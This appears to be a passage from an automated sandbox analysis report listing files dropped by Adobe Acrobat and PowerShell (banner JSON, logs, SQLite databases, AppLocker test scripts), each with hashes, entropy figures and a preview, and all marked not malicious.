SHA-256:	DA104BDAE4652844346D87AC676B4367F02A4D57E8A5F3D281C741ED4E3708BB
SHA-512:	35C503A458708E1A8106FB167A2648006DA24DCF469389EE9567F4F2187B0475474BE04C1C42163A0F6A42D9FEC811F5D5E2B943ED9175D01771B75A6900FA09
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc33c9ad-1d90-4cd7-9148-e02f82a8956a","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736733019239,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.245969661302131
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzeNlGG2pUXjb24kF0YUeoAvJf+dPeUkwRe9:YvXKXzeXMpUTbdDG28Ukee9
MD5:	1F4B8A5E0B8B1DAD9635A23FAEF2C5FC
SHA1:	8F157DD85D30CB2EE19B5315527E5D4F86E20341
SHA-256:	678D1B35BEBA2031B20E815FFFE3768B3FE88791DB5F73D4956BE5538C614792
SHA-512:	7313D2E610036BFA27C81AFEAF0F25D64234BFBC56822483F3E69DEF94147758516B4D35845F59418C97209C0F5EB9E743F8D2258748720EE11D5797CA72430A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc33c9ad-1d90-4cd7-9148-e02f82a8956a","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736733019239,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.24443052698008
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzeNlGG2pUXjb24kF0YUeoAvJfbPtdPeUkwRe9:YvXKXzeXMpUTbdDGDV8Ukee9
MD5:	7BCB2F679F1B6A6AE02659F1DE65AC8A
SHA1:	5EA793FA262CD770319DD3DFD99889FA3AF488DE
SHA-256:	A3961E3D495AAD7264AEEB4CF6ED0A4C035CB90A173C1BD1A3771BC242A513DF
SHA-512:	BE2C653C25791EE32B30927EC5D4932E233BA8B9EDD3BE4ED11524225E156B38887D05F9155F0F4A82E578080999BC84C6F0E50F8BA8DA44A03115E79E8C19CA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc33c9ad-1d90-4cd7-9148-e02f82a8956a","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736733019239,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.247562534194962
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzeNlGG2pUXjb24kF0YUeoAvJf21rPeUkwRe9:YvXKXzeXMpUTbdDG+16Ukee9
MD5:	2416146EE6BA4A10E3AEF9F44B8EC5F0
SHA1:	4FC3E6BCA8624692A419B48BCAF9552D9AD4BE0B
SHA-256:	A38BFD716D0BE2413D4023B5F928B9169676DC45D4C32BE1BED466043194E951
SHA-512:	320B387071D96EBA87EB5A4BCE9B04036B322FA5258BD3330BB2A1347C083413A2BF83BC14DF6AE1A60FFE143DF50283867240B94185FDF143F1DCFE264CF989
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc33c9ad-1d90-4cd7-9148-e02f82a8956a","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736733019239,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.652884830569958
Encrypted:	false
SSDEEP:	24:Yv6XqXsUXaamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSV:Yv9swUBgkDMUJUAh8cvMV
MD5:	0B63AAD15D7C87DE78EDD40139D48DE4
SHA1:	BDD47E33147BE883D9BF84F15B09EC7DF7D71165
SHA-256:	D993D836CF1FF1EC8101AFDEA584C83764487334E80CB88867EBE1F03B574BD0
SHA-512:	548489E6EBD4D5550465DB02137D77949D06E1C2511949A1FAAA759086C892B67FCE4315DE1EBBA777B41CC105B0FE4A7441F65DB76354EEC4E1E0504042A50C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc33c9ad-1d90-4cd7-9148-e02f82a8956a","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736733019239,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.220900230249887
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzeNlGG2pUXjb24kF0YUeoAvJfshHHrPeUkwRe9:YvXKXzeXMpUTbdDGUUUkee9
MD5:	3AE3C1767789E91858773849AF6362D0
SHA1:	2E883B1374AAD150C0C3B4BBC1CF1D2FB51C441E
SHA-256:	422C5D331DE6FD9F3C6AD44E0A18263E5E16015AEF7C8F6822BFB2000E7CBDD5
SHA-512:	50B3E927BA715D32A031D10F08D890BA2358D8C027D8BEE5B9C73055CC9CA75E3287D73FBB22ABA9BDCEACE290858B663989341FCBE9867118DF55B7D25C2C12
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc33c9ad-1d90-4cd7-9148-e02f82a8956a","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736733019239,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.231374223746925
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzeNlGG2pUXjb24kF0YUeoAvJTqgFCrPeUkwRe9:YvXKXzeXMpUTbdDGTq16Ukee9
MD5:	5A56E1550A74D24106C2521909907F11
SHA1:	B5AC001D9582C87E47525C5B6F53965E12CBCAC8
SHA-256:	7633AE752051911B2F603952489B049A377921106B04D2CC68BF1671951E92B8
SHA-512:	FCCF34D9E7C2076A09F0AD58DBD4A92FFC3371541B0AA936864538D343F6398BEF62010FEE1F12AC6F6826089FDBCC8F42ECB9BAFB0757639E95608F76B76573
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc33c9ad-1d90-4cd7-9148-e02f82a8956a","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736733019239,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.123402069031228
Encrypted:	false
SSDEEP:	24:YO2aaSX3aykjOEQikvAX7D74ejrj0S6isC2g2LS0CStGlmBNamWh5trBh9hHn6uU:YOl6QikvqD7HHlnxC1tGl8NamMXVh9h8
MD5:	4D5BE0B8E7751F51576CDB0D639557EA
SHA1:	89F78E842073C7AFF5F654FB9CB7AC20B334A74D
SHA-256:	EBA5EF75650A42552E2678DB77625AF4D360ABAC03925A67C8C1AD1D03D3C7E0
SHA-512:	D3CEE69874C32FAFCAEC949A16206F4399005CC5BFC639B284A67690669B0DE55685CD8AD42FC2EC80655EEBB29B84E6F849C08126307BB592CB557CB6FE1830
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"6332f44576466b548e72f92ee1d07aff","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558028000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"41d9cf0a7e607df53e4e963de6568dc5","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736558028000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"f2fefbc21324d8c5de6c250aaa6ca1ed","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736558028000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"1efeea00037895a8929edf50f8927c53","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736558028000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f629c706de5d2464edcae1d0b4e7b4ab","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736558028000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"75b6e95c5782ffd3cb8b781f0632e5e1","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3200288321518565
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YcA+EXSqXlg:TGufl2GL7msUKB0M0+Tb608Yc1r0c
MD5:	9A3A2607FCB8C6ADCF67A2877A2D569D
SHA1:	DDF5D9F70CB495459D2E31059D97D225DFECEC9B
SHA-256:	CB089F40F23402F635661923080CF6F2D8C98AF4B96D884D425EF6ADFE1ADEE8
SHA-512:	0E183CC132D6F2A7A7C7956D4F3B2DB3EE89171F87BB9DB7A21D3742A01A4DE80634728C3B7EA6DE38353FA06B1593C748FCC6C729B4C01F4D54E1D388F2E6E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7807129712931877
Encrypted:	false
SSDEEP:	24:7+tZl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YcA/EXSqXlyGKaiEqLhx/XYKQvk:7MDKB0M0+Tb608Yc4rGKYqFl2GL7msL
MD5:	956992F36CD27C50AD756773E23674A8
SHA1:	CDCC728FAEDD4C677021AB31360B01715452BDB9
SHA-256:	DD14026FAF32A85A66D5CEE13EC9B1902E5C53FD79015B6B659AB15759B944C8
SHA-512:	DC0F338FB3F55F55FCADDCE85C2C1372D8D6959677B39218D63A7CBDC3FE3F1FEC2DCE88F21589F914DF12726BA41FA7B271730BF21ECE3FF0D29FC1FA19BEB5
Malicious:	false
Preview:	.... .c.....wL&,..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgjdTxsAjErvgjBPSXeK8AFUP5Yyu:6a6TZ44ADEjdaAjErvgVkQ5K
MD5:	985F4279B8BFD8C6AFF4D7ACF2E8DE87
SHA1:	DDE484CB368D6FA417BF29F6EB054EF61CEC0C6A
SHA-256:	098A43080CD426D2DF820D4FADC3C8F327B3A467A499B9982925547884BDFC4D
SHA-512:	EEE4105DDE4079D7B3EA5B618064B5CA34A577DA329F0E6D283D0E89BA16C01DFBC1F4EB8F2A687E4B2125855995CB7334BE2B53652CF6E9DA581AA5F0846468
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIc0a31.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClU:Qw946cPbiOxDlbYnuRK+bJ
MD5:	4008EE530150EC1E9A45CD0AB7145BD6
SHA1:	F3BE949BF35015411024A5D8AC33939676BE19CF
SHA-256:	3356F86B58F9045E09A35BA343EC2760832259BEBD388F5AE8B6B83114AA65BA
SHA-512:	C3A48065FD77E94F1B6300D0954EF19034FF0EAACA3E7777EAD30297EFBA98E7F0D4DE420F3F4B3B8DBC8CCD40F941790BF79ADEA9E40F1752A3429AA6FF2F40
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.1.3.:.4.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_caczmmjb.gu4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oq1bpgnb.blu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91ryu7dx_589poi_4zs.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-13-41-996.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.362570374638559
Encrypted:	false
SSDEEP:	384:xkw5wgVwaAn/eQTMikP2WB+IYmpnSLnepKhPVx/L6zb35voaSqd8bQbanZvG2llR:0m+
MD5:	20FA135F594B399CF88533661F147E3A
SHA1:	12458A310A017F05A7EDC714A8154CD4D40682B1
SHA-256:	15BFC7546B26EC1786AA049130C2A504B4AB69E5BB516669832BF57B6D67BBBC
SHA-512:	C7C78FEF6528987E6497652F57CCD72E2D504D26EAD5E9DBEFBF10334052827869D01B8C653A89171D68288F3B1DDB32FB2FE0EC126F2046D156FA5B5BDFBBF1
Malicious:	false
Preview:	SessionID=79fd62ce-effd-43cc-abb8-31b187969c4e.1736558022015 Timestamp=2025-01-10T20:13:42:015-0500 ThreadID=8528 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=79fd62ce-effd-43cc-abb8-31b187969c4e.1736558022015 Timestamp=2025-01-10T20:13:42:016-0500 ThreadID=8528 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=79fd62ce-effd-43cc-abb8-31b187969c4e.1736558022015 Timestamp=2025-01-10T20:13:42:016-0500 ThreadID=8528 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=79fd62ce-effd-43cc-abb8-31b187969c4e.1736558022015 Timestamp=2025-01-10T20:13:42:016-0500 ThreadID=8528 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=79fd62ce-effd-43cc-abb8-31b187969c4e.1736558022015 Timestamp=2025-01-10T20:13:42:016-0500 ThreadID=8528 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.399754917342561
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3ZmS:EGvIcNYdVYpM
MD5:	2FC7BD404DC441884BF8BBAC8759F4AA
SHA1:	1EEB4159BF632BB407C78A926A96DEC53337CBFA
SHA-256:	13972E6954B66936991793E6E72C8951D0C02FE7DFFBC5F37F7E9A865E58AE1E
SHA-512:	CCA8E19DDB64ED435BB6F186BCA7AEC3AD023A9790A7FADDB6D89A0D41EC17CD557452D8B92B42192E9A215D9ACC0C9B785A2D0D397651E91242288B15F4EA18
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1d21e4ed-077c-4137-9d03-a117c589c172.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
